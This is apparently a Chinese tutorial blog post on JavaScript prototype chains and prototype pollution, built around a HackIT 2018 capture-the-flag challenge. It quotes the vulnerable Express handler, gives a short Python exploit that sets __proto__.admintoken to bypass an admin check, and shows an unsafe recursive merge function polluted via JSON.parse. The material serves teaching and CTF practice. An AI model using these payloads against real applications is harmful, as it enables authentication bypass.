什么是原型链
JavaScript常被称为基于原型的语言,也就是说js中没有类,在继承时候只有一种结构那就是对象( object )。每个对象都有一个私有属性那就是__proto__
,而__proto__
又会指向它的构造函数的原型对象(prototype )一直到一个对象的原型对象为 null
为止。
用一个不是很恰当的例子说明:
鸡生蛋,其中生蛋这个过程我们称之为构造函数,而鸡我们称为蛋的原型,而蛋孵出的小鸡又生小鸡,那么蛋又成为了小鸡的原型。
我们通过蛋的DNA又可以找到生他的母鸡,用母鸡的DNA又可找到生母鸡的母鸡
,母鸡的母鸡
的DNA又可以找到生他母鸡的母鸡
这种类似家族的关系我们就称之为原型链。
原型链它又不是无限的,你在不断朔源他的家族最终会发现他的祖宗是宇宙大爆炸时候的奇点,而这个奇点不是鸡也不是蛋,也就是最终指向null
.而鸡是乌鸡那他生的蛋孵出的小鸡也会是黑色的,这样的遗传
关系我们称之为继承。
什么是原型链污染
我们先来看一段代码,我们设置一个类parent内有a、b属性,我们给parent设置一个属性c赋值为‘3’。我们再设置一个类child内有a、b属性,并让child的原型为parent,我们实例化一个类child赋给s,输出对象s中的c属性发现其输出了3。这是为什么呢?
要理解这点有一个很重要的概念就是原型链变量搜索,我们要输出一个对象的某个属性如果在这个对象中不存在这个属性,就会在他的上层原型中搜索,遍历完这条原型链直到null为止。所以这条原型链其实是这样的:
下面我们以一个实际案例来讲解原型链污染,这是hackit 2018中的一道原型链污染的题目,以下是我摘要下来的代码(文末奉上链接),代码中user.admintoken
是不存在的。那么我们要怎么让md5(user.admintoken) === req.query.querytoken
条件成立呢?
var user=[];
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
matrix[client.row][client.col] = client.data;
}
我们发现matrix[client.row][client.col] = client.data;
进行了一个赋值操作,client对象我们是可以控制的,上面我们说了每个对象都有一个私有属性__proto__
,那么我们能不能控制matrix
对象的原型从而控制user.admintoken
呢?
从上我们在本地测试的结果来看是可以成功控制user的。这里我们也可以知道原型链污染的条件就是要能够控制键名。
而最终的exp是:
import requests
r = requests.post('http://target/api',json={'row':'__proto__','col':'admintoken','data':'qqq'})
r = requests.get('http://target/admin?querytoken=' + md5sumhex('qqq'))
print r.text
我们在来看大佬们一个简单的类,这也是大佬们经常举的例子:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
这是一个对对象进行合并的类我们在本地做个小实验看看能不能进行原型链污染,这里我们可以看到键名是可以被控制的。
我们发现在s中没有b这个属性?,我们将test2的原型和s的原型分别输出来。
我们可以发现s的原型直接是object所以在原型链搜索时候直接从object->null了。而test2上层原型却是一个对象,这个对象的再上层才是object。这是因为在创建字典时候__proto__
不是当做键名处理而是作为__proto__
给他的父类进行了赋值,所以test2.__proto__
中存在b属性。那么要怎么样才能成功污染object呢?我们直接在前面加一个JSON.parse即可(把一个json字符串 转化为 javascript的object)。
最后
本人水平有限,难免出现纰漏和理解错误的地方。希望大佬们能够批评指出。
参考
https://www.anquanke.com/post/id/176884#h3-5
资源
Republic_of_Gayming:https://github.com/DefConUA/HackIT2018/tree/master/web/Republic_of_Gayming